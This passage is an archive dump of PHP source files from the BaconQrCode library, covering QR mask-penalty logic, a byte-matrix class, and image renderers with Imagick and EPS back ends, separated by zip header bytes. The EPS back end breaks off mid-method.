
            case 1:
                $intermediate = $y & 0x1;
                break;

            case 2:
                $intermediate = $x % 3;
                break;

            case 3:
                $intermediate = ($y + $x) % 3;
                break;

            case 4:
                $intermediate = (BitUtils::unsignedRightShift($y, 1) + (int) ($x / 3)) & 0x1;
                break;

            case 5:
                $temp = $y * $x;
                $intermediate = ($temp & 0x1) + ($temp % 3);
                break;

            case 6:
                $temp = $y * $x;
                $intermediate = (($temp & 0x1) + ($temp % 3)) & 0x1;
                break;

            case 7:
                $temp = $y * $x;
                $intermediate = (($temp % 3) + (($y + $x) & 0x1)) & 0x1;
                break;

            default:
                throw new InvalidArgumentException('Invalid mask pattern: ' . $maskPattern);
        }

        return 0 == $intermediate;
    }

    /**
     * Helper function for applyMaskPenaltyRule1.
     *
     * We need this for doing this calculation in both vertical and horizontal
     * orders respectively.
     */
    private static function applyMaskPenaltyRule1Internal(ByteMatrix $matrix, bool $isHorizontal) : int
    {
        $penalty = 0;
        $iLimit = $isHorizontal ? $matrix->getHeight() : $matrix->getWidth();
        $jLimit = $isHorizontal ? $matrix->getWidth() : $matrix->getHeight();
        $array = $matrix->getArray();

        for ($i = 0; $i < $iLimit; ++$i) {
            $numSameBitCells = 0;
            $prevBit = -1;

            for ($j = 0; $j < $jLimit; $j++) {
                $bit = $isHorizontal ? $array[$i][$j] : $array[$j][$i];

                if ($bit === $prevBit) {
                    ++$numSameBitCells;
                } else {
                    if ($numSameBitCells >= 5) {
                        $penalty += self::N1 + ($numSameBitCells - 5);
                    }

                    $numSameBitCells = 1;
                    $prevBit = $bit;
                }
            }

            if ($numSameBitCells >= 5) {
                $penalty += self::N1 + ($numSameBitCells - 5);
            }
        }

        return $penalty;
    }
}
PKh�\m�����5vendor/bacon/bacon-qr-code/src/Encoder/ByteMatrix.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Encoder;

use SplFixedArray;
use Traversable;

/**
 * Byte matrix.
 */
final class ByteMatrix
{
    /**
     * Bytes in the matrix, represented as array.
     *
     * @var SplFixedArray<SplFixedArray<int>>
     */
    private $bytes;

    /**
     * Width of the matrix.
     *
     * @var int
     */
    private $width;

    /**
     * Height of the matrix.
     *
     * @var int
     */
    private $height;

    public function __construct(int $width, int $height)
    {
        $this->height = $height;
        $this->width = $width;
        $this->bytes = new SplFixedArray($height);

        for ($y = 0; $y < $height; ++$y) {
            $this->bytes[$y] = SplFixedArray::fromArray(array_fill(0, $width, 0));
        }
    }

    /**
     * Gets the width of the matrix.
     */
    public function getWidth() : int
    {
        return $this->width;
    }

    /**
     * Gets the height of the matrix.
     */
    public function getHeight() : int
    {
        return $this->height;
    }

    /**
     * Gets the internal representation of the matrix.
     *
     * @return SplFixedArray<SplFixedArray<int>>
     */
    public function getArray() : SplFixedArray
    {
        return $this->bytes;
    }

    /**
     * @return Traversable<int>
     */
    public function getBytes() : Traversable
    {
        foreach ($this->bytes as $row) {
            foreach ($row as $byte) {
                yield $byte;
            }
        }
    }

    /**
     * Gets the byte for a specific position.
     */
    public function get(int $x, int $y) : int
    {
        return $this->bytes[$y][$x];
    }

    /**
     * Sets the byte for a specific position.
     */
    public function set(int $x, int $y, int $value) : void
    {
        $this->bytes[$y][$x] = $value;
    }

    /**
     * Clears the matrix with a specific value.
     */
    public function clear(int $value) : void
    {
        for ($y = 0; $y < $this->height; ++$y) {
            for ($x = 0; $x < $this->width; ++$x) {
                $this->bytes[$y][$x] = $value;
            }
        }
    }

    public function __clone()
    {
        $this->bytes = clone $this->bytes;

        foreach ($this->bytes as $index => $row) {
            $this->bytes[$index] = clone $row;
        }
    }

    /**
     * Returns a string representation of the matrix.
     */
    public function __toString() : string
    {
        $result = '';

        for ($y = 0; $y < $this->height; $y++) {
            for ($x = 0; $x < $this->width; $x++) {
                switch ($this->bytes[$y][$x]) {
                    case 0:
                        $result .= ' 0';
                        break;

                    case 1:
                        $result .= ' 1';
                        break;

                    default:
                        $result .= '  ';
                        break;
                }
            }

            $result .= "\n";
        }

        return $result;
    }
}
PKh�\�D�9vendor/bacon/bacon-qr-code/src/Renderer/ImageRenderer.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer;

use BaconQrCode\Encoder\MatrixUtil;
use BaconQrCode\Encoder\QrCode;
use BaconQrCode\Exception\InvalidArgumentException;
use BaconQrCode\Renderer\Image\ImageBackEndInterface;
use BaconQrCode\Renderer\Path\Path;
use BaconQrCode\Renderer\RendererStyle\EyeFill;
use BaconQrCode\Renderer\RendererStyle\RendererStyle;

final class ImageRenderer implements RendererInterface
{
    /**
     * @var RendererStyle
     */
    private $rendererStyle;

    /**
     * @var ImageBackEndInterface
     */
    private $imageBackEnd;

    public function __construct(RendererStyle $rendererStyle, ImageBackEndInterface $imageBackEnd)
    {
        $this->rendererStyle = $rendererStyle;
        $this->imageBackEnd = $imageBackEnd;
    }

    /**
     * @throws InvalidArgumentException if matrix width doesn't match height
     */
    public function render(QrCode $qrCode) : string
    {
        $size = $this->rendererStyle->getSize();
        $margin = $this->rendererStyle->getMargin();
        $matrix = $qrCode->getMatrix();
        $matrixSize = $matrix->getWidth();

        if ($matrixSize !== $matrix->getHeight()) {
            throw new InvalidArgumentException('Matrix must have the same width and height');
        }

        $totalSize = $matrixSize + ($margin * 2);
        $moduleSize = $size / $totalSize;
        $fill = $this->rendererStyle->getFill();

        $this->imageBackEnd->new($size, $fill->getBackgroundColor());
        $this->imageBackEnd->scale((float) $moduleSize);
        $this->imageBackEnd->translate((float) $margin, (float) $margin);

        $module = $this->rendererStyle->getModule();
        $moduleMatrix = clone $matrix;
        MatrixUtil::removePositionDetectionPatterns($moduleMatrix);
        $modulePath = $this->drawEyes($matrixSize, $module->createPath($moduleMatrix));

        if ($fill->hasGradientFill()) {
            $this->imageBackEnd->drawPathWithGradient(
                $modulePath,
                $fill->getForegroundGradient(),
                0,
                0,
                $matrixSize,
                $matrixSize
            );
        } else {
            $this->imageBackEnd->drawPathWithColor($modulePath, $fill->getForegroundColor());
        }

        return $this->imageBackEnd->done();
    }

    private function drawEyes(int $matrixSize, Path $modulePath) : Path
    {
        $fill = $this->rendererStyle->getFill();

        $eye = $this->rendererStyle->getEye();
        $externalPath = $eye->getExternalPath();
        $internalPath = $eye->getInternalPath();

        $modulePath = $this->drawEye(
            $externalPath,
            $internalPath,
            $fill->getTopLeftEyeFill(),
            3.5,
            3.5,
            0,
            $modulePath
        );
        $modulePath = $this->drawEye(
            $externalPath,
            $internalPath,
            $fill->getTopRightEyeFill(),
            $matrixSize - 3.5,
            3.5,
            90,
            $modulePath
        );
        $modulePath = $this->drawEye(
            $externalPath,
            $internalPath,
            $fill->getBottomLeftEyeFill(),
            3.5,
            $matrixSize - 3.5,
            -90,
            $modulePath
        );

        return $modulePath;
    }

    private function drawEye(
        Path $externalPath,
        Path $internalPath,
        EyeFill $fill,
        float $xTranslation,
        float $yTranslation,
        int $rotation,
        Path $modulePath
    ) : Path {
        if ($fill->inheritsBothColors()) {
            return $modulePath
                ->append($externalPath->translate($xTranslation, $yTranslation))
                ->append($internalPath->translate($xTranslation, $yTranslation));
        }

        $this->imageBackEnd->push();
        $this->imageBackEnd->translate($xTranslation, $yTranslation);

        if (0 !== $rotation) {
            $this->imageBackEnd->rotate($rotation);
        }

        if ($fill->inheritsExternalColor()) {
            $modulePath = $modulePath->append($externalPath->translate($xTranslation, $yTranslation));
        } else {
            $this->imageBackEnd->drawPathWithColor($externalPath, $fill->getExternalColor());
        }

        if ($fill->inheritsInternalColor()) {
            $modulePath = $modulePath->append($internalPath->translate($xTranslation, $yTranslation));
        } else {
            $this->imageBackEnd->drawPathWithColor($internalPath, $fill->getInternalColor());
        }

        $this->imageBackEnd->pop();

        return $modulePath;
    }
}
PKh�\[䘑��Avendor/bacon/bacon-qr-code/src/Renderer/RendererStyle/EyeFill.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\RendererStyle;

use BaconQrCode\Exception\RuntimeException;
use BaconQrCode\Renderer\Color\ColorInterface;

final class EyeFill
{
    /**
     * @var ColorInterface|null
     */
    private $externalColor;

    /**
     * @var ColorInterface|null
     */
    private $internalColor;

    /**
     * @var self|null
     */
    private static $inherit;

    public function __construct(?ColorInterface $externalColor, ?ColorInterface $internalColor)
    {
        $this->externalColor = $externalColor;
        $this->internalColor = $internalColor;
    }

    public static function uniform(ColorInterface $color) : self
    {
        return new self($color, $color);
    }

    public static function inherit() : self
    {
        return self::$inherit ?: self::$inherit = new self(null, null);
    }

    public function inheritsBothColors() : bool
    {
        return null === $this->externalColor && null === $this->internalColor;
    }

    public function inheritsExternalColor() : bool
    {
        return null === $this->externalColor;
    }

    public function inheritsInternalColor() : bool
    {
        return null === $this->internalColor;
    }

    public function getExternalColor() : ColorInterface
    {
        if (null === $this->externalColor) {
            throw new RuntimeException('External eye color inherits foreground color');
        }

        return $this->externalColor;
    }

    public function getInternalColor() : ColorInterface
    {
        if (null === $this->internalColor) {
            throw new RuntimeException('Internal eye color inherits foreground color');
        }

        return $this->internalColor;
    }
}
PKh�\v��11>vendor/bacon/bacon-qr-code/src/Renderer/RendererStyle/Fill.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\RendererStyle;

use BaconQrCode\Exception\RuntimeException;
use BaconQrCode\Renderer\Color\ColorInterface;
use BaconQrCode\Renderer\Color\Gray;

final class Fill
{
    /**
     * @var ColorInterface
     */
    private $backgroundColor;

    /**
     * @var ColorInterface|null
     */
    private $foregroundColor;

    /**
     * @var Gradient|null
     */
    private $foregroundGradient;

    /**
     * @var EyeFill
     */
    private $topLeftEyeFill;

    /**
     * @var EyeFill
     */
    private $topRightEyeFill;

    /**
     * @var EyeFill
     */
    private $bottomLeftEyeFill;

    /**
     * @var self|null
     */
    private static $default;

    private function __construct(
        ColorInterface $backgroundColor,
        ?ColorInterface $foregroundColor,
        ?Gradient $foregroundGradient,
        EyeFill $topLeftEyeFill,
        EyeFill $topRightEyeFill,
        EyeFill $bottomLeftEyeFill
    ) {
        $this->backgroundColor = $backgroundColor;
        $this->foregroundColor = $foregroundColor;
        $this->foregroundGradient = $foregroundGradient;
        $this->topLeftEyeFill = $topLeftEyeFill;
        $this->topRightEyeFill = $topRightEyeFill;
        $this->bottomLeftEyeFill = $bottomLeftEyeFill;
    }

    public static function default() : self
    {
        return self::$default ?: self::$default = self::uniformColor(new Gray(100), new Gray(0));
    }

    public static function withForegroundColor(
        ColorInterface $backgroundColor,
        ColorInterface $foregroundColor,
        EyeFill $topLeftEyeFill,
        EyeFill $topRightEyeFill,
        EyeFill $bottomLeftEyeFill
    ) : self {
        return new self(
            $backgroundColor,
            $foregroundColor,
            null,
            $topLeftEyeFill,
            $topRightEyeFill,
            $bottomLeftEyeFill
        );
    }

    public static function withForegroundGradient(
        ColorInterface $backgroundColor,
        Gradient $foregroundGradient,
        EyeFill $topLeftEyeFill,
        EyeFill $topRightEyeFill,
        EyeFill $bottomLeftEyeFill
    ) : self {
        return new self(
            $backgroundColor,
            null,
            $foregroundGradient,
            $topLeftEyeFill,
            $topRightEyeFill,
            $bottomLeftEyeFill
        );
    }

    public static function uniformColor(ColorInterface $backgroundColor, ColorInterface $foregroundColor) : self
    {
        return new self(
            $backgroundColor,
            $foregroundColor,
            null,
            EyeFill::inherit(),
            EyeFill::inherit(),
            EyeFill::inherit()
        );
    }

    public static function uniformGradient(ColorInterface $backgroundColor, Gradient $foregroundGradient) : self
    {
        return new self(
            $backgroundColor,
            null,
            $foregroundGradient,
            EyeFill::inherit(),
            EyeFill::inherit(),
            EyeFill::inherit()
        );
    }

    public function hasGradientFill() : bool
    {
        return null !== $this->foregroundGradient;
    }

    public function getBackgroundColor() : ColorInterface
    {
        return $this->backgroundColor;
    }

    public function getForegroundColor() : ColorInterface
    {
        if (null === $this->foregroundColor) {
            throw new RuntimeException('Fill uses a gradient, thus no foreground color is available');
        }

        return $this->foregroundColor;
    }

    public function getForegroundGradient() : Gradient
    {
        if (null === $this->foregroundGradient) {
            throw new RuntimeException('Fill uses a single color, thus no foreground gradient is available');
        }

        return $this->foregroundGradient;
    }

    public function getTopLeftEyeFill() : EyeFill
    {
        return $this->topLeftEyeFill;
    }

    public function getTopRightEyeFill() : EyeFill
    {
        return $this->topRightEyeFill;
    }

    public function getBottomLeftEyeFill() : EyeFill
    {
        return $this->bottomLeftEyeFill;
    }
}
PKh�\;p+ݯ�Gvendor/bacon/bacon-qr-code/src/Renderer/RendererStyle/RendererStyle.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\RendererStyle;

use BaconQrCode\Renderer\Eye\EyeInterface;
use BaconQrCode\Renderer\Eye\ModuleEye;
use BaconQrCode\Renderer\Module\ModuleInterface;
use BaconQrCode\Renderer\Module\SquareModule;

final class RendererStyle
{
    /**
     * @var int
     */
    private $size;

    /**
     * @var int
     */
    private $margin;

    /**
     * @var ModuleInterface
     */
    private $module;

    /**
     * @var EyeInterface|null
     */
    private $eye;

    /**
     * @var Fill
     */
    private $fill;

    public function __construct(
        int $size,
        int $margin = 4,
        ?ModuleInterface $module = null,
        ?EyeInterface $eye = null,
        ?Fill $fill = null
    ) {
        $this->margin = $margin;
        $this->size = $size;
        $this->module = $module ?: SquareModule::instance();
        $this->eye = $eye ?: new ModuleEye($this->module);
        $this->fill = $fill ?: Fill::default();
    }

    public function withSize(int $size) : self
    {
        $style = clone $this;
        $style->size = $size;
        return $style;
    }

    public function withMargin(int $margin) : self
    {
        $style = clone $this;
        $style->margin = $margin;
        return $style;
    }

    public function getSize() : int
    {
        return $this->size;
    }

    public function getMargin() : int
    {
        return $this->margin;
    }

    public function getModule() : ModuleInterface
    {
        return $this->module;
    }

    public function getEye() : EyeInterface
    {
        return $this->eye;
    }

    public function getFill() : Fill
    {
        return $this->fill;
    }
}
PKh�\�g��ZZBvendor/bacon/bacon-qr-code/src/Renderer/RendererStyle/Gradient.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\RendererStyle;

use BaconQrCode\Renderer\Color\ColorInterface;

final class Gradient
{
    /**
     * @var ColorInterface
     */
    private $startColor;

    /**
     * @var ColorInterface
     */
    private $endColor;

    /**
     * @var GradientType
     */
    private $type;

    public function __construct(ColorInterface $startColor, ColorInterface $endColor, GradientType $type)
    {
        $this->startColor = $startColor;
        $this->endColor = $endColor;
        $this->type = $type;
    }

    public function getStartColor() : ColorInterface
    {
        return $this->startColor;
    }

    public function getEndColor() : ColorInterface
    {
        return $this->endColor;
    }

    public function getType() : GradientType
    {
        return $this->type;
    }
}
PKh�\#[�IFvendor/bacon/bacon-qr-code/src/Renderer/RendererStyle/GradientType.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\RendererStyle;

use DASPRiD\Enum\AbstractEnum;

/**
 * @method static self VERTICAL()
 * @method static self HORIZONTAL()
 * @method static self DIAGONAL()
 * @method static self INVERSE_DIAGONAL()
 * @method static self RADIAL()
 */
final class GradientType extends AbstractEnum
{
    protected const VERTICAL = null;
    protected const HORIZONTAL = null;
    protected const DIAGONAL = null;
    protected const INVERSE_DIAGONAL = null;
    protected const RADIAL = null;
}
PKh�\5����=vendor/bacon/bacon-qr-code/src/Renderer/RendererInterface.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer;

use BaconQrCode\Encoder\QrCode;

interface RendererInterface
{
    public function render(QrCode $qrCode) : string;
}
PKh�\�`�s(s(Evendor/bacon/bacon-qr-code/src/Renderer/Image/ImagickImageBackEnd.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Image;

use BaconQrCode\Exception\RuntimeException;
use BaconQrCode\Renderer\Color\Alpha;
use BaconQrCode\Renderer\Color\Cmyk;
use BaconQrCode\Renderer\Color\ColorInterface;
use BaconQrCode\Renderer\Color\Gray;
use BaconQrCode\Renderer\Color\Rgb;
use BaconQrCode\Renderer\Path\Close;
use BaconQrCode\Renderer\Path\Curve;
use BaconQrCode\Renderer\Path\EllipticArc;
use BaconQrCode\Renderer\Path\Line;
use BaconQrCode\Renderer\Path\Move;
use BaconQrCode\Renderer\Path\Path;
use BaconQrCode\Renderer\RendererStyle\Gradient;
use BaconQrCode\Renderer\RendererStyle\GradientType;
use Imagick;
use ImagickDraw;
use ImagickPixel;

final class ImagickImageBackEnd implements ImageBackEndInterface
{
    /**
     * @var string
     */
    private $imageFormat;

    /**
     * @var int
     */
    private $compressionQuality;

    /**
     * @var Imagick|null
     */
    private $image;

    /**
     * @var ImagickDraw|null
     */
    private $draw;

    /**
     * @var int|null
     */
    private $gradientCount;

    /**
     * @var TransformationMatrix[]|null
     */
    private $matrices;

    /**
     * @var int|null
     */
    private $matrixIndex;

    public function __construct(string $imageFormat = 'png', int $compressionQuality = 100)
    {
        if (! class_exists(Imagick::class)) {
            throw new RuntimeException('You need to install the imagick extension to use this back end');
        }

        $this->imageFormat = $imageFormat;
        $this->compressionQuality = $compressionQuality;
    }

    public function new(int $size, ColorInterface $backgroundColor) : void
    {
        $this->image = new Imagick();
        $this->image->newImage($size, $size, $this->getColorPixel($backgroundColor));
        $this->image->setImageFormat($this->imageFormat);
        $this->image->setCompressionQuality($this->compressionQuality);
        $this->draw = new ImagickDraw();
        $this->gradientCount = 0;
        $this->matrices = [new TransformationMatrix()];
        $this->matrixIndex = 0;
    }

    public function scale(float $size) : void
    {
        if (null === $this->draw) {
            throw new RuntimeException('No image has been started');
        }

        $this->draw->scale($size, $size);
        $this->matrices[$this->matrixIndex] = $this->matrices[$this->matrixIndex]
            ->multiply(TransformationMatrix::scale($size));
    }

    public function translate(float $x, float $y) : void
    {
        if (null === $this->draw) {
            throw new RuntimeException('No image has been started');
        }

        $this->draw->translate($x, $y);
        $this->matrices[$this->matrixIndex] = $this->matrices[$this->matrixIndex]
            ->multiply(TransformationMatrix::translate($x, $y));
    }

    public function rotate(int $degrees) : void
    {
        if (null === $this->draw) {
            throw new RuntimeException('No image has been started');
        }

        $this->draw->rotate($degrees);
        $this->matrices[$this->matrixIndex] = $this->matrices[$this->matrixIndex]
            ->multiply(TransformationMatrix::rotate($degrees));
    }

    public function push() : void
    {
        if (null === $this->draw) {
            throw new RuntimeException('No image has been started');
        }

        $this->draw->push();
        $this->matrices[++$this->matrixIndex] = $this->matrices[$this->matrixIndex - 1];
    }

    public function pop() : void
    {
        if (null === $this->draw) {
            throw new RuntimeException('No image has been started');
        }

        $this->draw->pop();
        unset($this->matrices[$this->matrixIndex--]);
    }

    public function drawPathWithColor(Path $path, ColorInterface $color) : void
    {
        if (null === $this->draw) {
            throw new RuntimeException('No image has been started');
        }

        $this->draw->setFillColor($this->getColorPixel($color));
        $this->drawPath($path);
    }

    public function drawPathWithGradient(
        Path $path,
        Gradient $gradient,
        float $x,
        float $y,
        float $width,
        float $height
    ) : void {
        if (null === $this->draw) {
            throw new RuntimeException('No image has been started');
        }

        $this->draw->setFillPatternURL('#' . $this->createGradientFill($gradient, $x, $y, $width, $height));
        $this->drawPath($path);
    }

    public function done() : string
    {
        if (null === $this->draw) {
            throw new RuntimeException('No image has been started');
        }

        $this->image->drawImage($this->draw);
        $blob = $this->image->getImageBlob();
        $this->draw->clear();
        $this->image->clear();
        $this->draw = null;
        $this->image = null;
        $this->gradientCount = null;

        return $blob;
    }

    private function drawPath(Path $path) : void
    {
        $this->draw->pathStart();

        foreach ($path as $op) {
            switch (true) {
                case $op instanceof Move:
                    $this->draw->pathMoveToAbsolute($op->getX(), $op->getY());
                    break;

                case $op instanceof Line:
                    $this->draw->pathLineToAbsolute($op->getX(), $op->getY());
                    break;

                case $op instanceof EllipticArc:
                    $this->draw->pathEllipticArcAbsolute(
                        $op->getXRadius(),
                        $op->getYRadius(),
                        $op->getXAxisAngle(),
                        $op->isLargeArc(),
                        $op->isSweep(),
                        $op->getX(),
                        $op->getY()
                    );
                    break;

                case $op instanceof Curve:
                    $this->draw->pathCurveToAbsolute(
                        $op->getX1(),
                        $op->getY1(),
                        $op->getX2(),
                        $op->getY2(),
                        $op->getX3(),
                        $op->getY3()
                    );
                    break;

                case $op instanceof Close:
                    $this->draw->pathClose();
                    break;

                default:
                    throw new RuntimeException('Unexpected draw operation: ' . get_class($op));
            }
        }

        $this->draw->pathFinish();
    }

    private function createGradientFill(Gradient $gradient, float $x, float $y, float $width, float $height) : string
    {
        list($width, $height) = $this->matrices[$this->matrixIndex]->apply($width, $height);

        $startColor = $this->getColorPixel($gradient->getStartColor())->getColorAsString();
        $endColor = $this->getColorPixel($gradient->getEndColor())->getColorAsString();
        $gradientImage = new Imagick();

        switch ($gradient->getType()) {
            case GradientType::HORIZONTAL():
                $gradientImage->newPseudoImage((int) $height, (int) $width, sprintf(
                    'gradient:%s-%s',
                    $startColor,
                    $endColor
                ));
                $gradientImage->rotateImage('transparent', -90);
                break;

            case GradientType::VERTICAL():
                $gradientImage->newPseudoImage((int) $width, (int) $height, sprintf(
                    'gradient:%s-%s',
                    $startColor,
                    $endColor
                ));
                break;

            case GradientType::DIAGONAL():
            case GradientType::INVERSE_DIAGONAL():
                $gradientImage->newPseudoImage((int) ($width * sqrt(2)), (int) ($height * sqrt(2)), sprintf(
                    'gradient:%s-%s',
                    $startColor,
                    $endColor
                ));

                if (GradientType::DIAGONAL() === $gradient->getType()) {
                    $gradientImage->rotateImage('transparent', -45);
                } else {
                    $gradientImage->rotateImage('transparent', -135);
                }

                $rotatedWidth = $gradientImage->getImageWidth();
                $rotatedHeight = $gradientImage->getImageHeight();

                $gradientImage->setImagePage($rotatedWidth, $rotatedHeight, 0, 0);
                $gradientImage->cropImage(
                    intdiv($rotatedWidth, 2) - 2,
                    intdiv($rotatedHeight, 2) - 2,
                    intdiv($rotatedWidth, 4) + 1,
                    intdiv($rotatedWidth, 4) + 1
                );
                break;

            case GradientType::RADIAL():
                $gradientImage->newPseudoImage((int) $width, (int) $height, sprintf(
                    'radial-gradient:%s-%s',
                    $startColor,
                    $endColor
                ));
                break;
        }

        $id = sprintf('g%d', ++$this->gradientCount);
        $this->draw->pushPattern($id, 0, 0, $width, $height);
        $this->draw->composite(Imagick::COMPOSITE_COPY, 0, 0, $width, $height, $gradientImage);
        $this->draw->popPattern();
        return $id;
    }

    private function getColorPixel(ColorInterface $color) : ImagickPixel
    {
        $alpha = 100;

        if ($color instanceof Alpha) {
            $alpha = $color->getAlpha();
            $color = $color->getBaseColor();
        }

        if ($color instanceof Rgb) {
            return new ImagickPixel(sprintf(
                'rgba(%d, %d, %d, %F)',
                $color->getRed(),
                $color->getGreen(),
                $color->getBlue(),
                $alpha / 100
            ));
        }

        if ($color instanceof Cmyk) {
            return new ImagickPixel(sprintf(
                'cmyka(%d, %d, %d, %d, %F)',
                $color->getCyan(),
                $color->getMagenta(),
                $color->getYellow(),
                $color->getBlack(),
                $alpha / 100
            ));
        }

        if ($color instanceof Gray) {
            return new ImagickPixel(sprintf(
                'graya(%d%%, %F)',
                $color->getGray(),
                $alpha / 100
            ));
        }

        return $this->getColorPixel(new Alpha($alpha, $color->toRgb()));
    }
}
PKh�\<��1�.�.Avendor/bacon/bacon-qr-code/src/Renderer/Image/EpsImageBackEnd.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Image;

use BaconQrCode\Exception\RuntimeException;
use BaconQrCode\Renderer\Color\Alpha;
use BaconQrCode\Renderer\Color\Cmyk;
use BaconQrCode\Renderer\Color\ColorInterface;
use BaconQrCode\Renderer\Color\Gray;
use BaconQrCode\Renderer\Color\Rgb;
use BaconQrCode\Renderer\Path\Close;
use BaconQrCode\Renderer\Path\Curve;
use BaconQrCode\Renderer\Path\EllipticArc;
use BaconQrCode\Renderer\Path\Line;
use BaconQrCode\Renderer\Path\Move;
use BaconQrCode\Renderer\Path\Path;
use BaconQrCode\Renderer\RendererStyle\Gradient;
use BaconQrCode\Renderer\RendererStyle\GradientType;

final class EpsImageBackEnd implements ImageBackEndInterface
{
    private const PRECISION = 3;

    /**
     * @var string|null
     */
    private $eps;

    public function new(int $size, ColorInterface $backgroundColor) : void
    {
        $this->eps = "%!PS-Adobe-3.0 EPSF-3.0\n"
            . "%%Creator: BaconQrCode\n"
            . sprintf("%%%%BoundingBox: 0 0 %d %d \n", $size, $size)
            . "%%BeginProlog\n"
            . "save\n"
            . "50 dict begin\n"
            . "/q { gsave } bind def\n"
            . "/Q { grestore } bind def\n"
            . "/s { scale } bind def\n"
            . "/t { translate } bind def\n"
            . "/r { rotate } bind def\n"
            . "/n { newpath } bind def\n"
            . "/m { moveto } bind def\n"
            . "/l { lineto } bind def\n"
            . "/c { curveto } bind def\n"
            . "/z { closepath } bind def\n"
            . "/f { eofill } bind def\n"
            . "/rgb { setrgbcolor } bind def\n"
            . "/cmyk { setcmykcolor } bind def\n"
            . "/gray { setgray } bind def\n"
            . "%%EndProlog\n"
            . "1 -1 s\n"
            . sprintf("0 -%d t\n", $size);

        if ($backgroundColor instanceof Alpha && 0 === $backgroundColor->getAlpha()) {
            return;
        }

        $this->eps .= wordwrap(
            '0 0 m'
            . sprintf(' %s 0 l', (string) $size)
            . sprintf(' %s %s l', (string) $size, (string) $size)
            . sprintf(' 0 %s l', (string) $size)
            . ' z'
            . ' ' .$this->getColorSetString($backgroundColor) . " f\n",
            75,
            "\n "
        );
    }

    public function scale(float $size) : void
    {
        if (null === $this->eps) {
            throw new RuntimeException('No image has been started');
        }

        $this->eps .= sprintf("%1\$s %1\$s s\n", round($size, self::PRECISION));
    }

    public function translate(float $x, float $y) : void
    {
        if (null === $this->eps) {
            throw new RuntimeException('No image has been started');
        }

        $this->eps .= sprintf("%s %s t\n", round($x, self::PRECISION), round($y, self::PRECISION));
    }

    public function rotate(int $degrees) : void
    {
        if (null === $this->eps) {
            throw new RuntimeException('No image has been started');
        }

        $this->eps .= sprintf("%d r\n", $degrees);
    }

    public function push() : void
    {
        if (null === $this->eps) {
            throw new RuntimeException('No image has been started');
        }

        $this->eps .= "q\n";
    }

    public function pop() : void
    {
        if (null === $this->eps) {
            throw new RuntimeException('No image has been started');
        }

        $this->eps .= "Q\n";
    }

    public function drawPathWithColor(Path $path, ColorInterface $color) : void
    {
        if (null === $this->eps) {
            throw new RuntimeException('No image has been started');
        }

        $fromX = 0;
        $fromY = 0;
        $this->eps .= wordwrap(
            'n '
            . $this->drawPathOperations($path, $fromX, $fromY)
            . ' ' . $this->getColorSetString($color) . " f\n",
            75,
            "\n "
        );
    }

    public function drawPathWithGradient(
        Path $path,
        Gradient $gradient,
        float $x,
        float $y,
        float $width,
        float $height
    ) : void {
        if (null === $this->eps) {
            throw new RuntimeException('No image has been started');
        }

        $fromX = 0;
        $fromY = 0;
        $this->eps .= wordwrap(
            'q n ' . $this->drawPathOperations($path, $fromX, $fromY) . "\n",
            75,
            "\n "
        );

        $this->createGradientFill($gradient, $x, $y, $width, $height);
    }

    public function done() : string
    {
        if (null === $this->eps) {
            throw new RuntimeException('No image has been started');
        }

        $this->eps .= "%%TRAILER\nend restore\n%%EOF";
        $blob = $this->eps;
        $this->eps = null;

        return $blob;
    }

    private function drawPathOperations(Iterable $ops, &$fromX, &$fromY) : string
    {
        $pathData = [];

        foreach ($ops as $op) {
            switch (true) {
                case $op instanceof Move:
                    $fromX = $toX = round($op->getX(), self::PRECISION);
                    $fromY = $toY = round($op->getY(), self::PRECISION);
                    $pathData[] = sprintf('%s %s m', $toX, $toY);
                    break;

                case $op instanceof Line:
                    $fromX = $toX = round($op->getX(), self::PRECISION);
                    $fromY = $toY = round($op->getY(), self::PRECISION);
                    $pathData[] = sprintf('%s %s l', $toX, $toY);
                    break;

                case $op instanceof EllipticArc:
                    $pathData[] = $this->drawPathOperations($op->toCurves($fromX, $fromY), $fromX, $fromY);
                    break;

                case $op instanceof Curve:
                    $x1 = round($op->getX1(), self::PRECISION);
                    $y1 = round($op->getY1(), self::PRECISION);
                    $x2 = round($op->getX2(), self::PRECISION);
                    $y2 = round($op->getY2(), self::PRECISION);
                    $fromX = $x3 = round($op->getX3(), self::PRECISION);
                    $fromY = $y3 = round($op->getY3(), self::PRECISION);
                    $pathData[] = sprintf('%s %s %s %s %s %s c', $x1, $y1, $x2, $y2, $x3, $y3);
                    break;

                case $op instanceof Close:
                    $pathData[] = 'z';
                    break;

                default:
                    throw new RuntimeException('Unexpected draw operation: ' . get_class($op));
            }
        }

        return implode(' ', $pathData);
    }

    private function createGradientFill(Gradient $gradient, float $x, float $y, float $width, float $height) : void
    {
        $startColor = $gradient->getStartColor();
        $endColor = $gradient->getEndColor();

        if ($startColor instanceof Alpha) {
            $startColor = $startColor->getBaseColor();
        }

        $startColorType = get_class($startColor);

        if (! in_array($startColorType, [Rgb::class, Cmyk::class, Gray::class])) {
            $startColorType = Cmyk::class;
            $startColor = $startColor->toCmyk();
        }

        if (get_class($endColor) !== $startColorType) {
            switch ($startColorType) {
                case Cmyk::class:
                    $endColor = $endColor->toCmyk();
                    break;

                case Rgb::class:
                    $endColor = $endColor->toRgb();
                    break;

                case Gray::class:
                    $endColor = $endColor->toGray();
                    break;
            }
        }

        $this->eps .= "eoclip\n<<\n";

        if ($gradient->getType() === GradientType::RADIAL()) {
            $this->eps .= " /ShadingType 3\n";
        } else {
            $this->eps .= " /ShadingType 2\n";
        }

        $this->eps .= " /Extend [ true true ]\n"
            . " /AntiAlias true\n";

        switch ($startColorType) {
            case Cmyk::class:
                $this->eps .= " /ColorSpace /DeviceCMYK\n";
                break;

            case Rgb::class:
                $this->eps .= " /ColorSpace /DeviceRGB\n";
                break;

            case Gray::class:
                $this->eps .= " /ColorSpace /DeviceGray\n";
                break;
        }

        switch ($gradient->getType()) {
            case GradientType::HORIZONTAL():
                $this->eps .= sprintf(
